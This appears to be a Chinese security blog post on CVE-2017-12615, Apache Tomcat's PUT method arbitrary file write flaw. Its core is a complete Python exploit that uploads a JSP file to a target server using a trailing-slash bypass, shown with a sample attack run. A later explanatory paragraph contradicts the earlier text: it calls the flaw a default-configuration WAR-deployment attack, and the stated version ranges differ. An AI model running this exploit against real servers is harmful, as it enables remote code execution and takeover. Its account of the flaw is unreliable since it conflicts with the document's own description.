CVE-2017-12615(Tomcat PUT方法任意写文件漏洞)

漏洞简介

当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

影响范围:

Apache Tomcat 7.0.0 - 7.0.81

利用条件

打开Tomcat安装目录的Tomcat7.0\conf\web.xml添加如下配置,在Tomcat7.0版本下默认配置是开启readonly的,需要手动配置readonly为false才可以进行漏洞利用。

漏洞利用

漏洞poc:

#!/usr/bin/env python
"""
CVE-2017-12615, exploits the file type extension bypass in tomcat7.0.0-7.0.79 (maybe more?)
Pretty restrictive in that it requires PUTS to be enabled and is windows only.
Could be conducted in CURL commands... but this was more fun right

Sample file contentes "test.jsp": <% out.write("<html><body><h3>JSP file uploaded</h3></body></html>"); %>

Sample run:
root@kali:~/tomcat# ./ex.py --target 192.168.1.60 -r test1234.jsp --lfile test1.jsp
http://192.168.1.60:8080/test1234.jsp/
Hopefully done:)

Checking if there:

root@kali:~/tomcat# curl http://192.168.1.60:8080/test1234.jsp
<html><body><h3>JSP file uploaded</h3></body></html>

some obligatory thing about name: matthew fulton 
"""

import argparse
import requests as r
import sys


Help = """exploits CVE-2017-12615, lame but funny, by default will just try to put it in the\nroot of the webserver. Windows only unfortunately and requires PUTS to be enabled.""" 
parser=argparse.ArgumentParser(description=help)
parser.add_argument('--target', '-target', default="127.0.0.1", help="Target IP", required=True)
parser.add_argument('--port', '-p', default="8080")
parser.add_argument('--lfile', '-l', help="Full path to file. This is JSP file to upload")
parser.add_argument('--rfile', '-r', help="Remote system file name", default="test123.jsp")
args = parser.parse_args()
target = args.target
port = args.port
localfile = args.lfile
remotefile = args.rfile

url = "http://" + target+":"+port + "/" + remotefile + "/"

print url

def upload(url, localfile,remotefile):
	f=open(localfile, "r")
	rawfiledata = f.read()
	r.put(url,rawfiledata)
	print "Hopefully done:)"
	sys.exit(0)

def main():
	upload(url, localfile, remotefile)
if __name__ == '__main__':
	main()
CVE-2017-12615是一个由Apache Tomcat服务器引起的漏洞,它存在于Tomcat服务器的默认配置中。该漏洞使得攻击者能够通过进行远程命令执行来获取服务器的控制权。 该脚本的实现过程如下: 1. 首先,通过发送特制的HTTP请求,攻击者可以将恶意的Web应用程序(如war文件)上传到Tomcat服务器中。 2. 接下来,攻击者发送另一个特制的HTTP请求,触发Tomcat服务器对上传的Web应用程序进行部署。 3. 当Tomcat服务器部署恶意的Web应用程序时,该程序中的恶意代码将被执行。 4. 攻击者可以在恶意代码中包含任意的系统命令,从而实现远程命令执行。 5. 一旦成功执行命令,攻击者就能够在服务器上执行各种操作,例如文件读取/入、系统信息获取等。 为了防御CVE-2017-12615漏洞,可以采取以下措施: 1. 及时更新和升级Apache Tomcat服务器,确保使用的版本没有漏洞。 2. 将Apache Tomcat和其他组件配置为具有最低特权,以减少潜在攻击者的影响范围。 3. 限制对Tomcat管理接口的访问,并使用强密码和多因素身份验证来保护管理接口。 4. 定期检查服务器上是否存在未知的应用程序文件或恶意代码,并将其删除。 5. 在Tomcat服务器上使用Web应用程序防火墙,以检测和阻止恶意HTTP请求。 6. 实施网络入侵检测系统(IDS)和入侵防御系统(IPS),以便及时检测和阻止攻击。 综上所述,CVE-2017-12615是一个严重的远程代码执行漏洞,攻击者通过利用该漏洞可以获取Tomcat服务器的控制权。为了避免受到此漏洞的攻击,我们必须采取一系列措施来确保Tomcat服务器的安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值